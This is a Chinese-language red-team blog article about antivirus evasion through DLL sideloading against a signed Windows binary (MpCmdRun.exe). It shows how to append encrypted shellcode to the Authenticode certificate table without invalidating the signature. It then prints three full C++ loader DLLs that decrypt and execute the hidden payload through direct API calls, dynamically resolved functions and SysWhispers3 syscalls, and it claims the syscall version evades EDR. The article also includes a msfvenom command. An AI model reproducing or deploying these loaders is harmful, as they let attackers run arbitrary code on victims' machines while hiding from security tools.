长亭百川云 - 文章详情

高级免杀系列之白加黑免杀

青藤云安全

300

2024-07-13

概述

目前大部分白加黑DLL劫持免杀都是将Shellcode写到劫持的DLL里面,然后程序运行时加载DLL,DLL解析Shellcode进行加载上线。那么这种方式DLL中既包含Shellcode,又包含了执行Shellcode的代码,被查杀的机率就很大。

那么我们思考一下,如果DLL中不保存Shellcode,只包含执行Shellcode的功能,那么被查杀的机率就会变小。

恰好Windows的程序签名存在一个漏洞,我们可以在不破坏白文件签名的情况下将Shellcode嵌入到白文件中,DLL就只保存执行Shellcode的功能代码。

如下图:

它是怎么工作的

程序文件签名的原理:

图片来自:https://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/Authenticode\_PE.docx

证书签名的过程:

  • 计算文件Hash

  • 根据计算的Hash来生成对应的证书

  • 将证书添加到程序的末尾,也就是图中Attribute Certificate Table部分

Hash的计算:

跳过4个字节的校验码和Certificate Table部分,对整个文件进行Hash计算。注意:由于是先计算Hash,然后将证书添加到程序的末尾,所以程序末尾Attribute Certificate Table部分也不会参与Hash的计算

由此可知,文件内容被篡改,就会导致计算的Hash改变,然后证书就会失效。但是上图中灰色背景部分并不参与Hash计算,也就是说只要我们增加的数据在Attribute Certificate Table部分的末尾,就不会改变整体的Hash计算,此时,证书的长度就会被改变,因此我们还要修改记录证书长度的数据,一共有两处;分别是Attribute Certificate Table数据头部和Data Directories里面Certificate Table部分,下面演示一下手动添加数据到程序文件中。

手动演示添加数据:

我们以explorer.exe这个文件为例,有用微软官方的签名:

首先我们要定位Attribute Certificate Table的位置,找到Attribute Certificate Table数据的大小,然后添加数据保存,验证证书,之后修改两处标明Attribute Certificate Table大小的数据,然后重新查看证书。

定位****Attribute Certificate Table:

我们使用CFF Explorer来查看explorer.exe的Data Directories的Security Directory部分:

可以得到如下信息:

Attribute Certificate Table在程序中的偏移是503000

Attribute Certificate Table的大小是DB48

现在我们跳转到503000处来验证头部4字节是否为DB48。

如下图,前四个字节为48DB0000,转换成实际长度为0000DB48,也就是上图中的DB48。

在****Attribute Certificate Table末尾添加数据:

首先在Attribute Certificate Table末尾添加数据FFFFFFFFFFFFFFFF一共是8字节的数据(添加的数据要以8字节对齐,否则证书无效)。

原始状态,使用010Editor来进行查看:

我们使用010Editor来进行修改,添加8字节数据FFFFFFFFFFFFFFFF之后保存。

此时证书已经无效了。

修改两处标明****Attribute Certificate Table大小的数据:

首先第一个是Attribute Certificate Table头部的大小,原始大小为DB48,那么添加了8字节数据之后是DB48+8=DB50,将Attribute Certificate Table头部改成DB50:

将Data Directories的Security Directory部分的size改成DB50:

此时证书已经恢复了。

思路延伸:

在我们常规的白加黑dll劫持免杀中,一般情况下是将Shellcode和加载Shellcode的功能都放在dll中,如果结合上文的中技巧,我们将Shellcode放到白文件中,不破坏白文件的签名,dll中只存放加载Shellcode的代码。那么将大大减少被杀软发现的可能。

实现上述想法的过程:

1.我们找到一个可以实现dll劫持的携带合法签名的程序。

2.在不破坏文件签名的情况下将Shellcode加密嵌入到上面的程序中(我们要在Shellcode头部增加特征字符来标明Shellcode的位置)。

3.在dll的函数中读取第二步嵌入的Shellcode,然后进行解密执行。

具体的实现:

我们以程序MpCmdRun.exe为例

首先使用****msfvenom生成测试Shellcode:

Bash
  msfvenom -a x64 --platform windows -p   windows/x64/messagebox TEXT='Your PC has been hacked!' -f raw -o   msg_hacked.bin

使用工具将上面的Shellcode加密嵌入到程序MpCmdRun.exe中shellcode加密的密钥为123456:

编译****DLL文件:

功能为读取MpCmdRun.exe文件,找到Shellcode,然后解密并使用VirtualAlloc、WriteProcessMemory、CreateThread来执行:

Bash
  // dllmain.cpp : 定义 DLL 应用程序的入口点。
  #include "pch.h"
  #include <Windows.h>
  #include <stdio.h>
  #include <WinTrust.h>
  #include "malloc.h"
 
  // 定义解密算法
  void Decrypt(unsigned char* data, long dataLen, unsigned char* key, long   keyLen, unsigned char* result) {
      unsigned char T[256];
      unsigned char S[256];
      unsigned char tmp;
      int j = 0, t = 0, i = 0;
 
      // 初始化 S 和 T 数组
      for (int i = 0; i < 256; i++) {
          S[i] = i;
          T[i] = key[i % keyLen];
      }
 
      // 初始置换
      for (int i = 0; i < 256; i++) {
          j = (j + S[i] + T[i]) % 256;
          tmp = S[j];
          S[j] = S[i];
          S[i] = tmp;
      }
 
      j = 0;
      // 伪随机数生成
      for (int x = 0; x < dataLen;   x++) {
          i = (i + 1) % 256;
          j = (j + S[i]) % 256;
 
          tmp = S[j];
          S[j] = S[i];
          S[i] = tmp;
 
          t = (S[i] + S[j]) % 256;
 
          // 解密
          result[x] = data[x] ^ S[t];
      }
  }
 
  void Main() {
      // 加密密钥
      char encryptionKey[] =   "123456";
      CHAR* encKey = encryptionKey;
 
      // 获取当前模块的路径
      char modulePath[MAX_PATH];
      GetModuleFileNameA(NULL, modulePath,   MAX_PATH);
 
      // 打开当前模块文件
     HANDLE hModuleFile =   CreateFileA(modulePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING,   FILE_ATTRIBUTE_NORMAL, NULL);
      if (hModuleFile ==   INVALID_HANDLE_VALUE) {
          return;
      }
 
      // 获取文件大小
      DWORD fileSize =   GetFileSize(hModuleFile, NULL);
 
      // 读取文件内容到内存
      unsigned char* moduleData = new   unsigned char[fileSize];
      DWORD bytesRead;
      ReadFile(hModuleFile, moduleData,   fileSize, &bytesRead, NULL);
 
      // 获取DOS头
      IMAGE_DOS_HEADER* dosHeader =   (IMAGE_DOS_HEADER*)moduleData;
 
      // 获取PE头
      IMAGE_NT_HEADERS* ntHeader =   (IMAGE_NT_HEADERS*)(moduleData + dosHeader->e_lfanew);
 
      // 获取数据目录中证书表项的RVA
      DWORD certTableRVA =   ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress;
      DWORD certTableSize =   ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size;
      DWORD dataOffset = 0;
      unsigned char* pePtr = moduleData +   certTableRVA;
      SIZE_T index = 0;
 
      // 在证书表中查找特定的标志
      for (index = 0; index <   certTableSize; index++) {
          if (*(pePtr + index) == 0xfe   && *(pePtr + index + 1) == 0xed && *(pePtr + index + 2) ==   0xfa && *(pePtr + index + 3) == 0xce) {
              dataOffset = index + 8;
              break;
          }
      }
 
      if (dataOffset == 0) {
          return;
      }
 
      // 解密
      DWORD encryptedDataSize =   certTableSize - dataOffset;
      CHAR* decryptedData =   (CHAR*)malloc(encryptedDataSize);
      memcpy(decryptedData, pePtr +   dataOffset, encryptedDataSize);
      Decrypt((unsigned   char*)decryptedData, encryptedDataSize, (unsigned char*)encKey,   strlen(encKey), (unsigned char*)decryptedData);
 
      // 分配内存,并将解密后的数据写入
      void* shellcode =   VirtualAlloc(NULL, encryptedDataSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        WriteProcessMemory(GetCurrentProcess(), shellcode, decryptedData,   encryptedDataSize, NULL);
 
      // 创建线程执行   shellcode
      HANDLE hThread = CreateThread(0, 0,   (LPTHREAD_START_ROUTINE)shellcode, 0, 0, 0);
      WaitForSingleObject(hThread, 0xFFFFFFFF);
  }
 
 
  BOOL APIENTRY DllMain(HMODULE hModule,
      DWORD  ul_reason_for_call,
      LPVOID lpReserved
  )
  {
      switch (ul_reason_for_call)
      {
      case DLL_PROCESS_ATTACH:
      case DLL_THREAD_ATTACH:
      case DLL_THREAD_DETACH:
      case DLL_PROCESS_DETACH:
          break;
      }
      return TRUE;
  }
 
  extern "C" __declspec(dllexport) void MpQueryEngineConfigDword() {}
  extern "C" __declspec(dllexport) void MpGetSampleChunk() {}
  extern "C" __declspec(dllexport) void   MpConveySampleSubmissionResult() {}
  extern "C" __declspec(dllexport) void MpSampleSubmit() {}
  extern "C" __declspec(dllexport) void MpSampleQuery() {}
  extern "C" __declspec(dllexport) void MpUpdateStart() {}
  extern "C" __declspec(dllexport) void MpClientUtilExportFunctions()   {}
  extern "C" __declspec(dllexport) void MpConfigInitialize() {}
  extern "C" __declspec(dllexport) void MpConfigOpen() {}
  extern "C" __declspec(dllexport) void MpWDEnable() {}
  extern "C" __declspec(dllexport) void MpUpdatePlatform() {}
  extern "C" __declspec(dllexport) void MpConfigUninitialize() {}
  extern "C" __declspec(dllexport) void MpConfigClose() {}
  extern "C" __declspec(dllexport) void MpFreeMemory() {}
  extern "C" __declspec(dllexport) void MpHandleClose() {}
  extern "C" __declspec(dllexport) void MpThreatOpen() {}
  extern "C" __declspec(dllexport) void MpThreatEnumerate() {}
  extern "C" __declspec(dllexport) void MpScanResult() { }
  extern "C" __declspec(dllexport) void MpManagerOpen() {}
  extern "C" __declspec(dllexport) void MpScanControl() { }
  extern "C" __declspec(dllexport) void MpScanStartEx() {}
  extern "C" __declspec(dllexport) void MpCleanOpen() {}
  extern "C" __declspec(dllexport) void MpCleanStart() {}
  extern "C" __declspec(dllexport) void MpConfigGetValue() {}
  extern "C" __declspec(dllexport) void MpUpdateStartEx() {}
  extern "C" __declspec(dllexport) void MpManagerVersionQuery() {}
  extern "C" __declspec(dllexport) void MpAddDynamicSignatureFile()   {}
  extern "C" __declspec(dllexport) void MpUtilsExportFunctions() {   Main(); }
  extern "C" __declspec(dllexport) void MpAllocMemory() {}
  extern "C" __declspec(dllexport) void MpConfigSetValue() {}
  extern "C" __declspec(dllexport) void   MpRemoveDynamicSignatureFile() {}
  extern "C" __declspec(dllexport) void MpDynamicSignatureOpen() {}
  extern "C" __declspec(dllexport) void MpDynamicSignatureEnumerate()   {}
  extern "C" __declspec(dllexport) void MpConfigGetValueAlloc() {}
  extern "C" __declspec(dllexport) void MpGetTaskSchedulerStrings()   {}
  extern "C" __declspec(dllexport) void MpManagerStatusQuery() {}
  extern "C" __declspec(dllexport) void MpConfigIteratorOpen() {}
  extern "C" __declspec(dllexport) void MpConfigIteratorEnum() {}
  extern "C" __declspec(dllexport) void MpConfigIteratorClose() {}
  extern "C" __declspec(dllexport) void MpNetworkCapture() {}
  extern "C" __declspec(dllexport) void MpConfigDelValue() {}
  extern "C" __declspec(dllexport) void MpManagerEnable() {}
  extern "C" __declspec(dllexport) void MpQuarantineRequest() {}
  extern "C" __declspec(dllexport) void MpManagerStatusQueryEx() {} 

不足的地方:

导入表中存在执行Shellcode的敏感函数

优化方式:

动态调用函数:

可以使用LoadLibrary、GetProcAddress配合的方式动态调用函数,代码如下:

Bash
  // dllmain.cpp : 定义 DLL 应用程序的入口点。
  #include "pch.h"
  #include <Windows.h>
  #include <stdio.h>
  #include <WinTrust.h>
  #include "malloc.h"
 
  // 定义函数指针类型
  typedef LPVOID(WINAPI* VirtualAllocFunc)(LPVOID lpAddress, SIZE_T dwSize,   DWORD flAllocationType, DWORD flProtect);
  // 定义函数指针类型
  typedef BOOL(WINAPI* WriteProcessMemoryFunc)(HANDLE hProcess, LPVOID   lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T*   lpNumberOfBytesWritten);
  // 定义函数指针类型
  typedef HANDLE(WINAPI* CreateThreadFunc)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE   lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD   lpThreadId);
 
  // 定义解密算法
  void Decrypt(unsigned char* data, long dataLen, unsigned char* key, long   keyLen, unsigned char* result) {
      unsigned char T[256];
      unsigned char S[256];
      unsigned char tmp;
      int j = 0, t = 0, i = 0;
 
      // 初始化 S 和 T 数组
      for (int i = 0; i < 256; i++) {
          S[i] = i;
          T[i] = key[i % keyLen];
      }
 
      // 初始置换
      for (int i = 0; i < 256; i++) {
          j = (j + S[i] + T[i]) % 256;
          tmp = S[j];
          S[j] = S[i];
          S[i] = tmp;
      }
 
      j = 0;
      // 伪随机数生成
      for (int x = 0; x < dataLen;   x++) {
          i = (i + 1) % 256;
          j = (j + S[i]) % 256;
 
          tmp = S[j];
          S[j] = S[i];
          S[i] = tmp;
 
          t = (S[i] + S[j]) % 256;
 
          // 解密
          result[x] = data[x] ^ S[t];
      }
  }
 
  void Main() {
      // 加密密钥
      char encryptionKey[] =   "123456";
      CHAR* encKey = encryptionKey;
 
      // 获取当前模块的路径
      char modulePath[MAX_PATH];
      GetModuleFileNameA(NULL,   modulePath, MAX_PATH);
 
      // 打开当前模块文件
      HANDLE hModuleFile =   CreateFileA(modulePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING,   FILE_ATTRIBUTE_NORMAL, NULL);
      if (hModuleFile ==   INVALID_HANDLE_VALUE) {
          return;
      }
 
      // 获取文件大小
      DWORD fileSize =   GetFileSize(hModuleFile, NULL);
 
      // 读取文件内容到内存
      unsigned char* moduleData = new   unsigned char[fileSize];
      DWORD bytesRead;
      ReadFile(hModuleFile, moduleData,   fileSize, &bytesRead, NULL);
 
      // 获取DOS头
      IMAGE_DOS_HEADER* dosHeader =   (IMAGE_DOS_HEADER*)moduleData;
 
      // 获取PE头
      IMAGE_NT_HEADERS* ntHeader =   (IMAGE_NT_HEADERS*)(moduleData + dosHeader->e_lfanew);
 
      // 获取数据目录中证书表项的RVA
      DWORD certTableRVA =   ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress;
      DWORD certTableSize =   ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size;
      DWORD dataOffset = 0;
      unsigned char* pePtr = moduleData +   certTableRVA;
      SIZE_T index = 0;
 
      // 在证书表中查找特定的标志
      for (index = 0; index <   certTableSize; index++) {
          if (*(pePtr + index) == 0xfe   && *(pePtr + index + 1) == 0xed && *(pePtr + index + 2) ==   0xfa && *(pePtr + index + 3) == 0xce) {
              dataOffset = index + 8;
              break;
          }
      }
 
      if (dataOffset == 0) {
          return;
      }
 
      // 解密
      DWORD encryptedDataSize =   certTableSize - dataOffset;
      CHAR* decryptedData = (CHAR*)malloc(encryptedDataSize);
      memcpy(decryptedData, pePtr +   dataOffset, encryptedDataSize);
      Decrypt((unsigned   char*)decryptedData, encryptedDataSize, (unsigned char*)encKey,   strlen(encKey), (unsigned char*)decryptedData);
 
      // 分配内存,并将解密后的数据写入
      HMODULE hKernel32 =   GetModuleHandle(L"kernel32.dll");
 
      VirtualAllocFunc virtualAlloc =   reinterpret_cast(GetProcAddress(hKernel32,   "VirtualAlloc"));
      void* shellcode =   virtualAlloc(NULL, encryptedDataSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 
      WriteProcessMemoryFunc   writeProcessMemory =   reinterpret_cast(GetProcAddress(hKernel32,   "WriteProcessMemory"));
        writeProcessMemory(GetCurrentProcess(), shellcode, decryptedData,   encryptedDataSize, NULL);
 
      // 创建线程执行   shellcode
      CreateThreadFunc createThread =   reinterpret_cast(GetProcAddress(hKernel32,   "CreateThread"));
      HANDLE hThread = createThread(0, 0,   (LPTHREAD_START_ROUTINE)shellcode, 0, 0, 0);
      WaitForSingleObject(hThread, 0xFFFFFFFF);
  }
 
 
  BOOL APIENTRY DllMain(HMODULE hModule,
      DWORD  ul_reason_for_call,
      LPVOID lpReserved
  )
  {
      switch (ul_reason_for_call)
      {
      case DLL_PROCESS_ATTACH:
      case DLL_THREAD_ATTACH:
      case DLL_THREAD_DETACH:
      case DLL_PROCESS_DETACH:
          break;
      }
      return TRUE;
  }
 
  extern "C" __declspec(dllexport) void MpQueryEngineConfigDword() {}
  extern "C" __declspec(dllexport) void MpGetSampleChunk() {}
  extern "C" __declspec(dllexport) void   MpConveySampleSubmissionResult() {}
  extern "C" __declspec(dllexport) void MpSampleSubmit() {}
  extern "C" __declspec(dllexport) void MpSampleQuery() {}
  extern "C" __declspec(dllexport) void MpUpdateStart() {}
  extern "C" __declspec(dllexport) void MpClientUtilExportFunctions()   {}
  extern "C" __declspec(dllexport) void MpConfigInitialize() {}
  extern "C" __declspec(dllexport) void MpConfigOpen() {}
  extern "C" __declspec(dllexport) void MpWDEnable() {}
  extern "C" __declspec(dllexport) void MpUpdatePlatform() {}
  extern "C" __declspec(dllexport) void MpConfigUninitialize() {}
  extern "C" __declspec(dllexport) void MpConfigClose() {}
  extern "C" __declspec(dllexport) void MpFreeMemory() {}
  extern "C" __declspec(dllexport) void MpHandleClose() {}
  extern "C" __declspec(dllexport) void MpThreatOpen() {}
  extern "C" __declspec(dllexport) void MpThreatEnumerate() {}
  extern "C" __declspec(dllexport) void MpScanResult() { }
  extern "C" __declspec(dllexport) void MpManagerOpen() {}
  extern "C" __declspec(dllexport) void MpScanControl() { }
  extern "C" __declspec(dllexport) void MpScanStartEx() {}
  extern "C" __declspec(dllexport) void MpCleanOpen() {}
  extern "C" __declspec(dllexport) void MpCleanStart() {}
  extern "C" __declspec(dllexport) void MpConfigGetValue() {}
  extern "C" __declspec(dllexport) void MpUpdateStartEx() {}
  extern "C" __declspec(dllexport) void MpManagerVersionQuery() {}
  extern "C" __declspec(dllexport) void MpAddDynamicSignatureFile()   {}
  extern "C" __declspec(dllexport) void MpUtilsExportFunctions() {   Main(); }
  extern "C" __declspec(dllexport) void MpAllocMemory() {}
  extern "C" __declspec(dllexport) void MpConfigSetValue() {}
  extern "C" __declspec(dllexport) void   MpRemoveDynamicSignatureFile() {}
  extern "C" __declspec(dllexport) void MpDynamicSignatureOpen() {}
  extern "C" __declspec(dllexport) void MpDynamicSignatureEnumerate()   {}
  extern "C" __declspec(dllexport) void MpConfigGetValueAlloc() {}
  extern "C" __declspec(dllexport) void MpGetTaskSchedulerStrings()   {}
  extern "C" __declspec(dllexport) void MpManagerStatusQuery() {}
  extern "C" __declspec(dllexport) void MpConfigIteratorOpen() {}
  extern "C" __declspec(dllexport) void MpConfigIteratorEnum() {}
  extern "C" __declspec(dllexport) void MpConfigIteratorClose() {}
  extern "C" __declspec(dllexport) void MpNetworkCapture() {}
  extern "C" __declspec(dllexport) void MpConfigDelValue() {}
  extern "C" __declspec(dllexport) void MpManagerEnable() {}
  extern "C" __declspec(dllexport) void MpQuarantineRequest() {}
  extern "C" __declspec(dllexport) void MpManagerStatusQueryEx() {} 

三个敏感函数已经不在导入表中了。

Syscall****系统调用:

有许多可以实现Syscall的项目HellsGate、SysWhispers2、AsmHalosGate、TartarusGate、Spoofing-Gate、ParallelSyscalls、GetSSN、SysWhispers3等等,这里使用了SysWhispers3。

1.首先将项目下载到本地,然后用命令来生成所需要的文件。

2.然后将生成的.h和.asm文件导入到项目的头文件中,将.c文件导入到源文件中,接下来进行项目设置。

右键项目选择生成依赖项->生成自定义:

选中masm项:

然后使用下面的代码进行编译:

Bash
  // dllmain.cpp : 定义 DLL 应用程序的入口点。
  #include "pch.h"
  #include <Windows.h>
  #include <stdio.h>
  #include <WinTrust.h>
  #include "malloc.h"
  #include "syscalls.h"
 
 
  // 定义解密算法
  void Decrypt(unsigned char* data, long dataLen, unsigned char* key, long   keyLen, unsigned char* result) {
      unsigned char T[256];
      unsigned char S[256];
      unsigned char tmp;
      int j = 0, t = 0, i = 0;
 
      // 初始化 S 和 T 数组
      for (int i = 0; i < 256; i++) {
          S[i] = i;
          T[i] = key[i % keyLen];
      }
 
      // 初始置换
      for (int i = 0; i < 256; i++) {
          j = (j + S[i] + T[i]) % 256;
          tmp = S[j];
          S[j] = S[i];
          S[i] = tmp;
      }
 
      j = 0;
      // 伪随机数生成
      for (int x = 0; x < dataLen;   x++) {
          i = (i + 1) % 256;
          j = (j + S[i]) % 256;
 
          tmp = S[j];
          S[j] = S[i];
          S[i] = tmp;
 
          t = (S[i] + S[j]) % 256;
 
          // 解密
          result[x] = data[x] ^ S[t];
      }
  }
 
  void Main() {
      // 加密密钥
      char encryptionKey[] =   "123456";
      CHAR* encKey = encryptionKey;
 
      // 获取当前模块的路径
      char modulePath[MAX_PATH];
      GetModuleFileNameA(NULL,   modulePath, MAX_PATH);
 
      // 打开当前模块文件
      HANDLE hModuleFile = CreateFileA(modulePath,   GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,   NULL);
      if (hModuleFile ==   INVALID_HANDLE_VALUE) {
          return;
      }
 
      // 获取文件大小
      DWORD fileSize =   GetFileSize(hModuleFile, NULL);
 
      // 读取文件内容到内存
      unsigned char* moduleData = new   unsigned char[fileSize];
      DWORD bytesRead;
    ReadFile(hModuleFile, moduleData,   fileSize, &bytesRead, NULL);
 
      // 获取DOS头
      IMAGE_DOS_HEADER* dosHeader =   (IMAGE_DOS_HEADER*)moduleData;
 
      // 获取PE头
      IMAGE_NT_HEADERS* ntHeader =   (IMAGE_NT_HEADERS*)(moduleData + dosHeader->e_lfanew);
 
      // 获取数据目录中证书表项的RVA
      DWORD certTableRVA =   ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress;
      DWORD certTableSize =   ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size;
      DWORD dataOffset = 0;
      unsigned char* pePtr = moduleData +   certTableRVA;
      SIZE_T index = 0;
 
      // 在证书表中查找特定的标志
      for (index = 0; index <   certTableSize; index++) {
          if (*(pePtr + index) == 0xfe   && *(pePtr + index + 1) == 0xed && *(pePtr + index + 2) ==   0xfa && *(pePtr + index + 3) == 0xce) {
              dataOffset = index + 8;
              break;
          }
      }
 
      if (dataOffset == 0) {
          return;
      }
 
      // 解密
      SIZE_T encryptedDataSize =   certTableSize - dataOffset;
      CHAR* decryptedData =   (CHAR*)malloc(encryptedDataSize);
      memcpy(decryptedData, pePtr +   dataOffset, encryptedDataSize);
      Decrypt((unsigned   char*)decryptedData, encryptedDataSize, (unsigned char*)encKey,   strlen(encKey), (unsigned char*)decryptedData);
 
      //分配内存
      PVOID shellcode = NULL;
        Sw3NtAllocateVirtualMemory((HANDLE)-1, &shellcode, 0,   &encryptedDataSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 
      //将shellcode写入内存
      Sw3NtWriteVirtualMemory(GetCurrentProcess(),   shellcode, decryptedData, encryptedDataSize, NULL);
 
      // 创建线程执行   shellcode
      HANDLE hThread;
      DWORD ZwRet =   Sw3NtCreateThreadEx(&hThread, PROCESS_ALL_ACCESS,NULL,   GetCurrentProcess(), (LPTHREAD_START_ROUTINE)shellcode, NULL, 0, 0, 0, 0, 0);
      WaitForSingleObject(hThread,   0xFFFFFFFF);
  }
 
 
  BOOL APIENTRY DllMain(HMODULE hModule,
      DWORD  ul_reason_for_call,
      LPVOID lpReserved
  )
  {
      switch (ul_reason_for_call)
      {
      case DLL_PROCESS_ATTACH:
      case DLL_THREAD_ATTACH:
      case DLL_THREAD_DETACH:
      case DLL_PROCESS_DETACH:
          break;
      }
      return TRUE;
  }
 
  extern "C" __declspec(dllexport) void MpQueryEngineConfigDword() {}
  extern "C" __declspec(dllexport) void MpGetSampleChunk() {}
  extern "C" __declspec(dllexport) void   MpConveySampleSubmissionResult() {}
  extern "C" __declspec(dllexport) void MpSampleSubmit() {}
  extern "C" __declspec(dllexport) void MpSampleQuery() {}
  extern "C" __declspec(dllexport) void MpUpdateStart() {}
  extern "C" __declspec(dllexport) void MpClientUtilExportFunctions()   {}
  extern "C" __declspec(dllexport) void MpConfigInitialize() {}
  extern "C" __declspec(dllexport) void MpConfigOpen() {}
  extern "C" __declspec(dllexport) void MpWDEnable() {}
  extern "C" __declspec(dllexport) void MpUpdatePlatform() {}
  extern "C" __declspec(dllexport) void MpConfigUninitialize() {}
  extern "C" __declspec(dllexport) void MpConfigClose() {}
  extern "C" __declspec(dllexport) void MpFreeMemory() {}
  extern "C" __declspec(dllexport) void MpHandleClose() {}
  extern "C" __declspec(dllexport) void MpThreatOpen() {}
  extern "C" __declspec(dllexport) void MpThreatEnumerate() {}
  extern "C" __declspec(dllexport) void MpScanResult() { }
  extern "C" __declspec(dllexport) void MpManagerOpen() {}
  extern "C" __declspec(dllexport) void MpScanControl() { }
  extern "C" __declspec(dllexport) void MpScanStartEx() {}
  extern "C" __declspec(dllexport) void MpCleanOpen() {}
  extern "C" __declspec(dllexport) void MpCleanStart() {}
  extern "C" __declspec(dllexport) void MpConfigGetValue() {}
  extern "C" __declspec(dllexport) void MpUpdateStartEx() {}
  extern "C" __declspec(dllexport) void MpManagerVersionQuery() {}
  extern "C" __declspec(dllexport) void MpAddDynamicSignatureFile()   {}
  extern "C" __declspec(dllexport) void MpUtilsExportFunctions() {   Main(); }
  extern "C" __declspec(dllexport) void MpAllocMemory() {}
  extern "C" __declspec(dllexport) void MpConfigSetValue() {}
  extern "C" __declspec(dllexport) void   MpRemoveDynamicSignatureFile() {}
  extern "C" __declspec(dllexport) void MpDynamicSignatureOpen() {}
  extern "C" __declspec(dllexport) void MpDynamicSignatureEnumerate()   {}
  extern "C" __declspec(dllexport) void MpConfigGetValueAlloc() {}
  extern "C" __declspec(dllexport) void MpGetTaskSchedulerStrings()   {}
  extern "C" __declspec(dllexport) void MpManagerStatusQuery() {}
  extern "C" __declspec(dllexport) void MpConfigIteratorOpen() {}
  extern "C" __declspec(dllexport) void MpConfigIteratorEnum() {}
  extern "C" __declspec(dllexport) void MpConfigIteratorClose() {}
  extern "C" __declspec(dllexport) void MpNetworkCapture() {}
  extern "C" __declspec(dllexport) void MpConfigDelValue() {}
  extern "C" __declspec(dllexport) void MpManagerEnable() {}
  extern "C" __declspec(dllexport) void MpQuarantineRequest() {}
  extern "C" __declspec(dllexport) void MpManagerStatusQueryEx() {}

可以看到生成的代码中同样没有三个敏感函数,并且这种Syscall的方式还可以绕过EDR。

思路延伸:

还有许多执行Shellcode的方式,这里推荐两个项目shellcodeloader和 AlternativeShellcodeExec。

关于作者:

  aeverj:青藤云安全-红队自动化技术专家。

-完-

热门动态推荐

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2